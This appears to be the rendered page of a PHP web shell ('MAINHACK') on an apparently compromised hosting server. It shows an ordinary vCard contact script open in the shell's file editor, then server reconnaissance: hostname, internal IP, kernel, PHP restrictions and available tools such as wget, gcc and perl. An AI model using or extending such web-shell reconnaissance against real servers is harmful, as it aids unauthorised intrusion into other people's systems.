[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: vc_card.php
<?php require_once "dbcontroller.php"; $dbController = new DBController(); if(!empty($_GET["action"])) { $query = "SELECT * FROM visit_card WHERE id = ?"; $param_type = "i"; $param_value_array = array($_GET["id"]); $contactResult = $dbController->runQuery($query,$param_type,$param_value_array); require_once "VcardExport.php"; $vcardExport = new VcardExport(); $vcardExport->contactVcardExportService($contactResult); exit; } $query = "SELECT * FROM visit_card"; $result = $dbController->runBaseQuery($query); ?> <!DOCTYPE html> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>How to Implement OTP SMS Mobile Verification in PHP with TextLocal</title> <link href="style.css" type="text/css" rel="stylesheet" /> </head> <body> <?php if(!empty($result)) { ?> <div class="tbl-contact"> <div class="contact-row-header"> <div class="col_name">Name</div> <div>Email</div> <div>Phone</div> <div>Address</div> <div class="action">Export</div> </div> <?php foreach($result as $k=>$v) { ?> <div class="contact-row"> <div class="col_name"><?php echo $result[$k]["contact_person1"]; ?> <?php echo $result[$k]["email"]; ?></div> <!-- <div><?php echo $result[$k]["email"]; ?></div> <div><?php echo $result[$k]["phone"]; ?></div> <div><?php echo $result[$k]["address"]; ?></div>--> <div class="action"><a href="../vc_card.php?action=export&id=<?=$c_id?>" title="Export to vCard"><img src="vcard_icon.png" alt="vCard"></a></div> </div> <?php } ?> </div> <?php } ?> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619